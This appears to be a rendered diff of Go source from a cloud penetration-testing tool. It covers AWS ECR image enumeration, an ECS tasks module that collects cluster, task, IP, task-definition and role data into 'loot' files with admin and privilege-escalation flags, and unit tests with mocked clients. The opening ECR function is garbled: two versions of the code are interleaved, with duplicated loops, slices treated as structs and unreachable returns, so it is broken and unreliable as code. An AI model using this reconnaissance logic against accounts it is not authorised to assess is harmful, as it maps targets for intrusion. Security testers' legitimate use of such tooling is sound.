func(o *ecr.Options) {
o.Region = r
},
)
var allImages []types.ImageDetail
var repoURI string
var repoName string
DescribeRepositories, err := m.describeRepositories(r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, repo := range DescribeRepositories {
repoName = aws.ToString(repo.RepositoryName)
repoURI = aws.ToString(repo.RepositoryUri)
//created := *repo.CreatedAt
//fmt.Printf("%s, %s, %s", repoName, repoURI, created)
images, err := m.describeImages(r, repoName)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, repo := range DescribeRepositories.Repositories {
repoName := aws.ToString(repo.RepositoryName)
repoURI := aws.ToString(repo.RepositoryUri)
//created := *repo.CreatedAt
//fmt.Printf("%s, %s, %s", repoName, repoURI, created)
var images []types.ImageDetail
for {
DescribeImages, err := m.ECRClient.DescribeImages(
context.TODO(),
&ecr.DescribeImagesInput{
RepositoryName: &repoName,
NextToken: PaginationControl2,
},
func(o *ecr.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
//images := DescribeImages.ImageDetails
images = append(images, DescribeImages.ImageDetails...)
if DescribeImages.NextToken != nil {
PaginationControl2 = DescribeImages.NextToken
} else {
// not sure if this is the right way to do this, but adding this code here was the only way i could
// sort the results from all pages to look for the latest push.
PaginationControl2 = nil
sort.Slice(images, func(i, j int) bool {
return images[i].ImagePushedAt.Format("2006-01-02 15:04:05") < images[j].ImagePushedAt.Format("2006-01-02 15:04:05")
})
var image types.ImageDetail
var imageTags string
if len(images) > 1 {
image = images[len(images)-1]
} else if len(images) == 1 {
image = images[0]
} else {
break
}
if len(image.ImageTags) > 0 {
imageTags = image.ImageTags[0]
}
//imageTags := image.ImageTags[0]
pushedAt := image.ImagePushedAt.Format("2006-01-02 15:04:05")
imageSize := aws.ToInt64(image.ImageSizeInBytes)
pullURI := fmt.Sprintf("%s:%s", repoURI, imageTags)
dataReceiver <- Repository{
AWSService: "ECR",
Name: repoName,
Region: r,
URI: pullURI,
PushedAt: pushedAt,
ImageTags: imageTags,
ImageSize: imageSize,
}
// }
break
}
}
}
// The "NextToken" value is nil when there's no more data to return.
if DescribeRepositories.NextToken != nil {
PaginationControl = DescribeRepositories.NextToken
} else {
PaginationControl = nil
break
return
}
allImages = append(allImages, images...)
}
sort.Slice(allImages, func(i, j int) bool {
return allImages[i].ImagePushedAt.Format("2006-01-02 15:04:05") < allImages[j].ImagePushedAt.Format("2006-01-02 15:04:05")
})
var image types.ImageDetail
var imageTags string
if len(allImages) > 1 {
image = allImages[len(allImages)-1]
} else if len(allImages) == 1 {
image = allImages[0]
} else {
return
}
if len(image.ImageTags) > 0 {
imageTags = image.ImageTags[0]
}
//imageTags := image.ImageTags[0]
pushedAt := image.ImagePushedAt.Format("2006-01-02 15:04:05")
imageSize := aws.ToInt64(image.ImageSizeInBytes)
pullURI := fmt.Sprintf("%s:%s", repoURI, imageTags)
dataReceiver <- Repository{
AWSService: "ECR",
Name: repoName,
Region: r,
URI: pullURI,
PushedAt: pushedAt,
ImageTags: imageTags,
ImageSize: imageSize,
}
}
func (m *ECRModule) describeRepositories(r string) ([]types.Repository, error) {
var repositories []types.Repository
Repositories, err := sdk.CachedECRDescribeRepositories(m.ECRClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.CommandCounter.Error++
return nil, err
}
repositories = append(repositories, Repositories...)
return repositories, nil
}
func (m *ECRModule) describeImages(r string, repoName string) ([]types.ImageDetail, error) {
var images []types.ImageDetail
ImageDetails, err := sdk.CachedECRDescribeImages(m.ECRClient, aws.ToString(m.Caller.Account), r, repoName)
if err != nil {
m.CommandCounter.Error++
return nil, err
}
images = append(images, ImageDetails...)
return images, nil
}
func (m *ECRModule) getECRRepositoryPolicy(r string, repository string) (policy.Policy, error) {
var repoPolicy policy.Policy
Policy, err := sdk.CachedECRGetRepositoryPolicy(m.ECRClient, aws.ToString(m.Caller.Account), r, repository)
if err != nil {
m.CommandCounter.Error++
return repoPolicy, err
}
repoPolicy, err = policy.ParseJSONPolicy([]byte(Policy))
if err != nil {
return repoPolicy, fmt.Errorf("parsing policy (%s) as JSON: %s", repository, err)
}
return repoPolicy, nil
}
+95
View File
@@ -0,0 +1,95 @@
package aws
import (
"context"
"log"
"testing"
"time"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/ecr"
"github.com/aws/aws-sdk-go-v2/service/ecr/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
)
var AWSRegions = []string{"us-east-1", "us-east-2", "us-west-1", "us-west-2", "af-south-1", "ap-east-1", "ap-south-1", "ap-northeast-3", "ap-northeast-2", "ap-southeast-1", "ap-southeast-2", "ap-northeast-1", "ca-central-1", "eu-central-1", "eu-west-1", "eu-west-2", "eu-south-1", "eu-west-3", "eu-north-1", "me-south-1", "sa-east-1"}
type MockedECRClient struct {
}
func (m *MockedECRClient) DescribeRepositories(ctx context.Context, params *ecr.DescribeRepositoriesInput, optFns ...func(*ecr.Options)) (*ecr.DescribeRepositoriesOutput, error) {
return &ecr.DescribeRepositoriesOutput{
Repositories: []types.Repository{
{
RepositoryName: aws.String("test1"),
RepositoryUri: aws.String("testURI"),
},
},
}, nil
}
func (m *MockedECRClient) DescribeImages(context.Context, *ecr.DescribeImagesInput, ...func(*ecr.Options)) (*ecr.DescribeImagesOutput, error) {
return &ecr.DescribeImagesOutput{
ImageDetails: []types.ImageDetail{
{
ImagePushedAt: aws.Time(time.Now()),
ImageSizeInBytes: aws.Int64(123456),
ImageTags: []string{"latest"},
},
},
}, nil
}
func (m *MockedECRClient) GetRepositoryPolicy(context.Context, *ecr.GetRepositoryPolicyInput, ...func(*ecr.Options)) (*ecr.GetRepositoryPolicyOutput, error) {
return &ecr.GetRepositoryPolicyOutput{
PolicyText: aws.String("policyText"),
}, nil
}
func TestDescribeRepos(t *testing.T) {
subtests := []struct {
name string
outputDirectory string
verbosity int
testModule ECRModule
expectedResult []Repository
}{
{
name: "test1",
outputDirectory: ".",
verbosity: 2,
testModule: ECRModule{
ECRClient: &MockedECRClient{},
Caller: sts.GetCallerIdentityOutput{
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
Account: aws.String("123456789012"),
},
OutputFormat: "table",
AWSProfile: "test",
Goroutines: 30,
AWSRegions: AWSRegions,
},
expectedResult: []Repository{{
Name: "test1",
URI: "testURI:latest",
PushedAt: "2022-10-25 15:14:06",
ImageTags: "latest",
ImageSize: 123456,
}},
},
}
internal.MockFileSystem(true)
for _, subtest := range subtests {
t.Run(subtest.name, func(t *testing.T) {
subtest.testModule.PrintECR(subtest.testModule.OutputFormat, subtest.outputDirectory, subtest.verbosity)
for index, expectedRepo := range subtest.expectedResult {
if expectedRepo.Name != subtest.testModule.Repositories[index].Name {
log.Fatal("Repo name does not match expected name")
}
}
})
}
}
+584
View File
@@ -0,0 +1,584 @@
package aws
import (
"context"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/ec2"
"github.com/aws/aws-sdk-go-v2/service/ecs"
"github.com/aws/aws-sdk-go-v2/service/ecs/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type DescribeTasksDefinitionAPIClient interface {
DescribeTaskDefinition(context.Context, *ecs.DescribeTaskDefinitionInput, ...func(*ecs.Options)) (*ecs.DescribeTaskDefinitionOutput, error)
}
type ECSTasksModule struct {
DescribeTaskDefinitionClient DescribeTasksDefinitionAPIClient
DescribeTasksClient ecs.DescribeTasksAPIClient
ListTasksClient ecs.ListTasksAPIClient
ListClustersClient ecs.ListClustersAPIClient
DescribeNetworkInterfacesClient ec2.DescribeNetworkInterfacesAPIClient
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
AWSProfile string
Goroutines int
SkipAdminCheck bool
WrapTable bool
pmapperMod PmapperModule
pmapperError error
iamSimClient IamSimulatorModule
MappedECSTasks []MappedECSTask
CommandCounter internal.CommandCounter
output internal.OutputData2
modLog *logrus.Entry
}
type MappedECSTask struct {
Cluster string
TaskDefinitionName string
TaskDefinitionContent string
LaunchType string
ID string
ExternalIP string
PrivateIP string
Role string
Admin string
CanPrivEsc string
}
func (m *ECSTasksModule) ECSTasks(outputFormat string, outputDirectory string, verbosity int) {
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "ecs-tasks"
localAdminMap := make(map[string]bool)
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s][%s] Enumerating ECS tasks in all regions for account %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
// Initialized the tools we'll need to check if any workload roles are admin or can privesc to admin
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
// if m.pmapperError != nil {
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// } else {
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
wg := new(sync.WaitGroup)
spinnerDone := make(chan bool)
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
dataReceiver := make(chan MappedECSTask)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, dataReceiver)
}
wg.Wait()
//time.Sleep(time.Second * 2)
// Perform role analysis
if m.pmapperError == nil {
for i := range m.MappedECSTasks {
m.MappedECSTasks[i].Admin, m.MappedECSTasks[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, &m.MappedECSTasks[i].Role)
}
} else {
for i := range m.MappedECSTasks {
m.MappedECSTasks[i].Admin, m.MappedECSTasks[i].CanPrivEsc = GetIamSimResult(m.SkipAdminCheck, &m.MappedECSTasks[i].Role, m.iamSimClient, localAdminMap)
}
}
spinnerDone <- true
<-spinnerDone
receiverDone <- true
<-receiverDone
m.printECSTaskData(outputFormat, outputDirectory, dataReceiver, verbosity)
}
func (m *ECSTasksModule) Receiver(receiver chan MappedECSTask, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.MappedECSTasks = append(m.MappedECSTasks, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *ECSTasksModule) printECSTaskData(outputFormat string, outputDirectory string, dataReceiver chan MappedECSTask, verbosity int) {
if m.pmapperError == nil {
m.output.Headers = []string{
"Cluster",
"TaskDefinition",
"LaunchType",
"ID",
"External IP",
"Internal IP",
"RoleArn",
"IsAdminRole?",
"CanPrivEscToAdmin?",
}
} else {
m.output.Headers = []string{
"Cluster",
"TaskDefinition",
"LaunchType",
"ID",
"External IP",
"Internal IP",
"RoleArn",
"IsAdminRole?",
//"CanPrivEscToAdmin?",
}
}
if m.pmapperError == nil {
for _, ecsTask := range m.MappedECSTasks {
m.output.Body = append(
m.output.Body,
[]string{
ecsTask.Cluster,
ecsTask.TaskDefinitionName,
ecsTask.LaunchType,
ecsTask.ID,
ecsTask.ExternalIP,
ecsTask.PrivateIP,
ecsTask.Role,
ecsTask.Admin,
ecsTask.CanPrivEsc,
},
)
}
} else {
for _, ecsTask := range m.MappedECSTasks {
m.output.Body = append(
m.output.Body,
[]string{
ecsTask.Cluster,
ecsTask.TaskDefinitionName,
ecsTask.LaunchType,
ecsTask.ID,
ecsTask.ExternalIP,
ecsTask.PrivateIP,
ecsTask.Role,
ecsTask.Admin,
//ecsTask.CanPrivEsc,
},
)
}
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName)
fmt.Printf("[%s][%s] %s ECS tasks found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s][%s] No ECS tasks found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
}
func (m *ECSTasksModule) writeLoot(outputDirectory string) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
privateIPsFilename := filepath.Join(path, "ecs-tasks-PrivateIPs.txt")
publicIPsFilename := filepath.Join(path, "ecs-tasks-PublicIPs.txt")
var publicIPs string
var privateIPs string
for _, task := range m.MappedECSTasks {
if task.ExternalIP != "NoExternalIP" {
publicIPs = publicIPs + fmt.Sprintln(task.ExternalIP)
}
if task.PrivateIP != "" {
privateIPs = privateIPs + fmt.Sprintln(task.PrivateIP)
}
}
err = os.WriteFile(privateIPsFilename, []byte(privateIPs), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
err = os.WriteFile(publicIPsFilename, []byte(publicIPs), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
for _, task := range m.MappedECSTasks {
if task.TaskDefinitionContent != "" {
path := filepath.Join(path, "task-definitions")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
taskDefinitionFilename := filepath.Join(path, task.TaskDefinitionName+".json")
err = os.WriteFile(taskDefinitionFilename, []byte(task.TaskDefinitionContent), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
}
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), privateIPsFilename)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), publicIPsFilename)
}
func (m *ECSTasksModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan MappedECSTask) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("ecs", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.getListClusters(r, dataReceiver)
m.CommandCounter.Executing--
m.CommandCounter.Complete++
}
}
func (m *ECSTasksModule) getListClusters(region string, dataReceiver chan MappedECSTask) {
var PaginationControl *string
for {
ListClusters, err := m.ListClustersClient.ListClusters(
context.TODO(),
&(ecs.ListClustersInput{
NextToken: PaginationControl,
}),
func(o *ecs.Options) {
o.Region = region
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, clusterARN := range ListClusters.ClusterArns {
m.getListTasks(clusterARN, region, dataReceiver)
}
if ListClusters.NextToken != nil {
PaginationControl = ListClusters.NextToken
} else {
PaginationControl = nil
break
}
}
}
func (m *ECSTasksModule) getListTasks(clusterARN string, region string, dataReceiver chan MappedECSTask) {
var PaginationControl *string
for {
ListTasks, err := m.ListTasksClient.ListTasks(
context.TODO(),
&(ecs.ListTasksInput{
Cluster: aws.String(clusterARN),
NextToken: PaginationControl,
}),
func(o *ecs.Options) {
o.Region = region
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
batchSize := 100 // maximum value: https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_DescribeTasks.html#API_DescribeTasks_RequestSyntax
for i := 0; i < len(ListTasks.TaskArns); i += batchSize {
j := i + batchSize
if j > len(ListTasks.TaskArns) {
j = len(ListTasks.TaskArns)
}
m.loadTasksData(clusterARN, ListTasks.TaskArns[i:j], region, dataReceiver)
}
if ListTasks.NextToken != nil {
PaginationControl = ListTasks.NextToken
} else {
PaginationControl = nil
break
}
}
}
func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, region string, dataReceiver chan MappedECSTask) {
if len(taskARNs) == 0 {
return
}
DescribeTasks, err := m.DescribeTasksClient.DescribeTasks(
context.TODO(),
&(ecs.DescribeTasksInput{
Cluster: aws.String(clusterARN),
Tasks: taskARNs,
}),
func(o *ecs.Options) {
o.Region = region
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
eniIDs := []string{}
for _, task := range DescribeTasks.Tasks {
eniID := getElasticNetworkInterfaceIDOfECSTask(task)
if eniID != "" {
eniIDs = append(eniIDs, eniID)
}
}
publicIPs, err := m.loadPublicIPs(eniIDs, region)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, task := range DescribeTasks.Tasks {
taskDefinition, err := m.describeTaskDefinition(aws.ToString(task.TaskDefinitionArn), region)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
mappedTask := MappedECSTask{
Cluster: getNameFromARN(clusterARN),
TaskDefinitionName: getNameFromARN(aws.ToString(task.TaskDefinitionArn)),
TaskDefinitionContent: getTaskDefinitionContent(taskDefinition),
LaunchType: string(task.LaunchType),
ID: getIDFromECSTask(aws.ToString(task.TaskArn)),
PrivateIP: getPrivateIPv4AddressFromECSTask(task),
Role: getTaskRole(taskDefinition),
}
eniID := getElasticNetworkInterfaceIDOfECSTask(task)
if eniID != "" {
mappedTask.ExternalIP = publicIPs[eniID]
}
dataReceiver <- mappedTask
}
}
func getTaskRole(taskDefinition types.TaskDefinition) string {
return aws.ToString(taskDefinition.TaskRoleArn)
}
func getTaskDefinitionContent(taskDefinition types.TaskDefinition) string {
// return taskDefinition as a json string
taskDefinitionContent, err := json.Marshal(taskDefinition)
if err != nil {
return ""
}
return string(taskDefinitionContent)
}
func (m *ECSTasksModule) describeTaskDefinition(taskDefinitionArn string, region string) (types.TaskDefinition, error) {
DescribeTaskDefinition, err := m.DescribeTaskDefinitionClient.DescribeTaskDefinition(
context.TODO(),
&ecs.DescribeTaskDefinitionInput{
TaskDefinition: &taskDefinitionArn,
},
func(o *ecs.Options) {
o.Region = region
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return types.TaskDefinition{}, err
}
return *DescribeTaskDefinition.TaskDefinition, nil
}
/* UNUSED CODE BLOCK - PLEASE REVIEW AND DELETE IF NOT NEEDED
func (m *ECSTasksModule) loadAllPublicIPs(eniIDs []string, region string) (map[string]string, error) {
eniPublicIPs := make(map[string]string)
batchSize := 1000 // seems to be maximum value: https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeNetworkInterfaces.html
for i := 0; i < len(eniIDs); i += batchSize {
j := i + batchSize
if j > len(eniIDs) {
j = len(eniIDs)
}
publicIPs, err := m.loadPublicIPs(eniIDs[i:j], region)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return nil, fmt.Errorf("getting elastic network interfaces: %s", err)
}
for eniID, publicIP := range publicIPs {
eniPublicIPs[eniID] = publicIP
}
}
return eniPublicIPs, nil
}
*/
func (m *ECSTasksModule) loadPublicIPs(eniIDs []string, region string) (map[string]string, error) {
eniPublicIPs := make(map[string]string)
if len(eniIDs) == 0 {
return eniPublicIPs, nil
}
DescribeNetworkInterfaces, err := m.DescribeNetworkInterfacesClient.DescribeNetworkInterfaces(
context.TODO(),
&(ec2.DescribeNetworkInterfacesInput{
NetworkInterfaceIds: eniIDs,
}),
func(o *ec2.Options) {
o.Region = region
},
)
if err != nil {
return nil, fmt.Errorf("getting elastic network interfaces: %s", err)
}
for _, eni := range DescribeNetworkInterfaces.NetworkInterfaces {
eniPublicIPs[aws.ToString(eni.NetworkInterfaceId)] = getPublicIPOfElasticNetworkInterface(eni)
}
return eniPublicIPs, nil
}
func getNameFromARN(arn string) string {
tokens := strings.SplitN(arn, "/", 2)
if len(tokens) != 2 {
return arn
}
return tokens[1]
}
func getIDFromECSTask(arn string) string {
tokens := strings.SplitN(arn, "/", 3)
if len(tokens) != 3 {
return arn
}
return tokens[2]
}
func getPrivateIPv4AddressFromECSTask(task types.Task) string {
ips := []string{}
for _, attachment := range task.Attachments {
if aws.ToString(attachment.Type) != "ElasticNetworkInterface" || aws.ToString(attachment.Status) != "ATTACHED" {
continue
}
for _, kvp := range attachment.Details {
if aws.ToString(kvp.Name) == "privateIPv4Address" {
ips = append(ips, aws.ToString(kvp.Value))
}
}
}
return strings.Join(ips, "|")
}
func getElasticNetworkInterfaceIDOfECSTask(task types.Task) string {
for _, attachment := range task.Attachments {
if aws.ToString(attachment.Type) != "ElasticNetworkInterface" || aws.ToString(attachment.Status) != "ATTACHED" {
continue
}
for _, kvp := range attachment.Details {
if aws.ToString(kvp.Name) == "networkInterfaceId" {
return aws.ToString(kvp.Value)
}
}
}
return ""
}
+292
View File
@@ -0,0 +1,292 @@
package aws
import (
"context"
"encoding/json"
"log"
"os"
"testing"
"time"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/ec2"
ec2types "github.com/aws/aws-sdk-go-v2/service/ec2/types"
"github.com/aws/aws-sdk-go-v2/service/ecs"
ecsTypes "github.com/aws/aws-sdk-go-v2/service/ecs/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
)
const DESCRIBE_TASKS_TEST_FILE = "./test-data/describe-tasks.json"
const DESCRIBE_NETWORK_INTEFACES_TEST_FILE = "./test-data/describe-network-interfaces.json"
type ListTasks struct {
TaskArns []string `json:"taskArns"`
}
type DescribeTasks struct {
Tasks []struct {
Attachments []struct {
ID string `json:"id"`
Type string `json:"type"`
Status string `json:"status"`
Details []struct {
Name string `json:"name"`
Value string `json:"value"`
} `json:"details"`
} `json:"attachments"`
Attributes []struct {
Name string `json:"name"`
Value string `json:"value"`
} `json:"attributes"`
AvailabilityZone string `json:"availabilityZone"`
ClusterArn string `json:"clusterArn"`
Connectivity string `json:"connectivity"`
ConnectivityAt string `json:"connectivityAt"`
Containers []struct {
ContainerArn string `json:"containerArn"`
TaskArn string `json:"taskArn"`
Name string `json:"name"`
Image string `json:"image"`
RuntimeID string `json:"runtimeId"`
LastStatus string `json:"lastStatus"`
NetworkBindings []interface{} `json:"networkBindings"`
NetworkInterfaces []struct {
AttachmentID string `json:"attachmentId"`
PrivateIpv4Address string `json:"privateIpv4Address"`
} `json:"networkInterfaces"`
HealthStatus string `json:"healthStatus"`
CPU string `json:"cpu"`
Memory string `json:"memory"`
} `json:"containers"`
CPU string `json:"cpu"`
CreatedAt string `json:"createdAt"`
DesiredStatus string `json:"desiredStatus"`
EnableExecuteCommand bool `json:"enableExecuteCommand"`
Group string `json:"group"`
HealthStatus string `json:"healthStatus"`
LastStatus string `json:"lastStatus"`
LaunchType string `json:"launchType"`
Memory string `json:"memory"`
Overrides struct {
ContainerOverrides []struct {
Name string `json:"name"`
} `json:"containerOverrides"`
InferenceAcceleratorOverrides []interface{} `json:"inferenceAcceleratorOverrides"`
} `json:"overrides"`
PlatformVersion string `json:"platformVersion"`
PlatformFamily string `json:"platformFamily"`
PullStartedAt string `json:"pullStartedAt"`
PullStoppedAt string `json:"pullStoppedAt"`
StartedAt string `json:"startedAt"`
StartedBy string `json:"startedBy"`
Tags []interface{} `json:"tags"`
TaskArn string `json:"taskArn"`
TaskDefinitionArn string `json:"taskDefinitionArn"`
Version int `json:"version"`
EphemeralStorage struct {
SizeInGiB int `json:"sizeInGiB"`
} `json:"ephemeralStorage"`
} `json:"tasks"`
Failures []interface{} `json:"failures"`
}
type DescribeNetworkInterfaces struct {
NetworkInterfaces []struct {
Status string `json:"Status"`
MacAddress string `json:"MacAddress"`
SourceDestCheck bool `json:"SourceDestCheck"`
VpcID string `json:"VpcId"`
Description string `json:"Description"`
Association struct {
PublicIP string `json:"PublicIp"`
AssociationID string `json:"AssociationId"`
PublicDNSName string `json:"PublicDnsName"`
IPOwnerID string `json:"IpOwnerId"`
} `json:"Association"`
NetworkInterfaceID string `json:"NetworkInterfaceId"`
PrivateIPAddresses []struct {
PrivateDNSName string `json:"PrivateDnsName"`
Association struct {
PublicIP string `json:"PublicIp"`
AssociationID string `json:"AssociationId"`
PublicDNSName string `json:"PublicDnsName"`
IPOwnerID string `json:"IpOwnerId"`
} `json:"Association"`
Primary bool `json:"Primary"`
PrivateIPAddress string `json:"PrivateIpAddress"`
} `json:"PrivateIpAddresses"`
RequesterManaged bool `json:"RequesterManaged"`
Ipv6Addresses []interface{} `json:"Ipv6Addresses"`
PrivateDNSName string `json:"PrivateDnsName,omitempty"`
AvailabilityZone string `json:"AvailabilityZone"`
Attachment struct {
Status string `json:"Status"`
DeviceIndex int `json:"DeviceIndex"`
AttachTime time.Time `json:"AttachTime"`
InstanceID string `json:"InstanceId"`
DeleteOnTermination bool `json:"DeleteOnTermination"`
AttachmentID string `json:"AttachmentId"`
InstanceOwnerID string `json:"InstanceOwnerId"`
} `json:"Attachment"`
Groups []struct {
GroupName string `json:"GroupName"`
GroupID string `json:"GroupId"`
} `json:"Groups"`
SubnetID string `json:"SubnetId"`
OwnerID string `json:"OwnerId"`
TagSet []interface{} `json:"TagSet"`
PrivateIPAddress string `json:"PrivateIpAddress"`
} `json:"NetworkInterfaces"`
}
func readTestFile(testFile string) []byte {
file, err := os.ReadFile(testFile)
if err != nil {
log.Fatalf("can't read file %s", testFile)
}
return file
}
type mockedListclustersClient struct {
}
func (c *mockedListclustersClient) ListClusters(context.Context, *ecs.ListClustersInput, ...func(*ecs.Options)) (*ecs.ListClustersOutput, error) {
return &ecs.ListClustersOutput{ClusterArns: []string{
"arn:aws:ecs:us-east-1:123456789012:cluster/MyCluster",
"arn:aws:ecs:us-east-1:123456789012:cluster/MyCluster2",
"arn:aws:ecs:us-east-1:123456789012:cluster/MyCluster3",
}}, nil
}
type mockedListTasksClient struct{}
func (c *mockedListTasksClient) ListTasks(ctx context.Context, input *ecs.ListTasksInput, f ...func(*ecs.Options)) (*ecs.ListTasksOutput, error) {
return &ecs.ListTasksOutput{TaskArns: []string{
"arn:aws:ecs:us-east-1:123456789012:task/MyCluster/74de0355a10a4f979ac495c14EXAMPLE",
"arn:aws:ecs:us-east-1:123456789012:task/MyCluster/d789e94343414c25b9f6bd59eEXAMPLE",
}}, nil
}
type mockedDescribeTasksClient struct {
describeTasks DescribeTasks
}
func (c *mockedDescribeTasksClient) DescribeTasks(ctx context.Context, input *ecs.DescribeTasksInput, f ...func(*ecs.Options)) (*ecs.DescribeTasksOutput, error) {
err := json.Unmarshal(readTestFile(DESCRIBE_TASKS_TEST_FILE), &c.describeTasks)
if err != nil {
log.Fatalf("can't unmarshall file %s", DESCRIBE_TASKS_TEST_FILE)
}
var tasks []ecsTypes.Task
for _, mockedTask := range c.describeTasks.Tasks {
if mockedTask.ClusterArn == aws.ToString(input.Cluster) {
for _, inputTask := range input.Tasks {
if mockedTask.TaskArn == inputTask {
var attachments []ecsTypes.Attachment
for _, a := range mockedTask.Attachments {
var deets []ecsTypes.KeyValuePair
for _, detail := range a.Details {
deets = append(deets, ecsTypes.KeyValuePair{
Name: aws.String(detail.Name),
Value: aws.String(detail.Value)})
}
attachments = append(attachments, ecsTypes.Attachment{
Type: aws.String(a.Type),
Details: deets,
Id: aws.String(a.ID),
Status: aws.String(a.Status),
})
}
tasks = append(tasks, ecsTypes.Task{
ClusterArn: aws.String(mockedTask.ClusterArn),
TaskDefinitionArn: aws.String(mockedTask.TaskDefinitionArn),
LaunchType: ecsTypes.LaunchType(*aws.String(mockedTask.LaunchType)),
TaskArn: aws.String(mockedTask.TaskArn),
Attachments: attachments,
})
}
}
}
}
return &ecs.DescribeTasksOutput{Tasks: tasks}, nil
}
type mockedDescribeNetworkInterfacesClient struct {
describeNetworkInterfaces DescribeNetworkInterfaces
}
func (c *mockedDescribeNetworkInterfacesClient) DescribeNetworkInterfaces(ctx context.Context, input *ec2.DescribeNetworkInterfacesInput, f ...func(o *ec2.Options)) (*ec2.DescribeNetworkInterfacesOutput, error) {
